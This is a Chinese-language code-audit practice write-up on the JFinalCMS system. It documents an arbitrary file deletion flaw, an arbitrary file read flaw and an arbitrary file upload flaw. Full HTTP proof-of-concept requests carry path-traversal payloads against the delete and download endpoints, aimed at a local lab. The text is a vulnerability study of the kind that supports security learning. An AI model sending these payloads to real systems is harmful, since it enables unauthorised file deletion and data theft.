JFinalCMS审计练习

本文首发于先知社区：https://xz.aliyun.com/t/14957

前言

看到星球发布了一个作业，由于考试没及时弄。所以就自己随便看看了，这套系统确实漏洞很多，可以说是靶场。。。危险操作几乎都没有做过滤，而且很久没更新了

后台任意文件删除

这个洞提了cve，看大家都在水我也水一个

漏洞很简单，甚至不需要白盒，黑盒能直接测出来，但是代码审计还是看代码吧，我审这个的时候也是直接看的代码，代码位置在src/main/java/com/cms/controller/admin/DatabaseController.java 文件下的/delete 接口

Untitled

跟进这个delete方法

Untitled

可以看到对这个参数没有做任何的检测，仅仅只看了文件是否存在

poc如下

POST /admin/database/delete HTTP/1.1
Host: 127.0.0.1:8888
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=6DD997E088E0DCBF8F72AF2897F1B845
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

name=../../../../../../../../flag.txt

Untitled

执行后

Untitled

然后就是issue上的一些漏洞了，学习一下

前台任意文件读取

也是文件名没有做任何过滤，直接可以读取成功

Untitled

payload如下

GET /common/file/download?fileKey=../../../../../../../flag.txt HTTP/1.1
Host: 127.0.0.1:8888
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

Untitled

任意文件上传

这个也是issue里面的

在文件com/cms/controller/admin/FileController.java 下存在任意文件上传

中间唯一的检验是一个水印相关的

if(config.getIsWatermarkEnabled() && ArrayUtils.contains(imageSuffixs, suffix.toLowerCase())){
            String watermarkImage = config.getWatermarkImage();
            String watermarkPosition = config.getWatermarkPosition();
            File watermarkImageFile = new File(PathUtils.getWebRootPath()+watermarkImage);
            String sourceFileName = newFileBaseName+"_source."+suffix;
            File sourceFile = new File(PathUtils.getWebRootPath()+"/"+CommonConstant.UPLOAD_PATH+"/"+sourceFileName);
            newFile.renameTo(sourceFile);
            ImageUtils.addWatermark(sourceFile, newFile, watermarkImageFile, watermarkPosition);
            FileUtils.deleteQuietly(sourceFile);
        }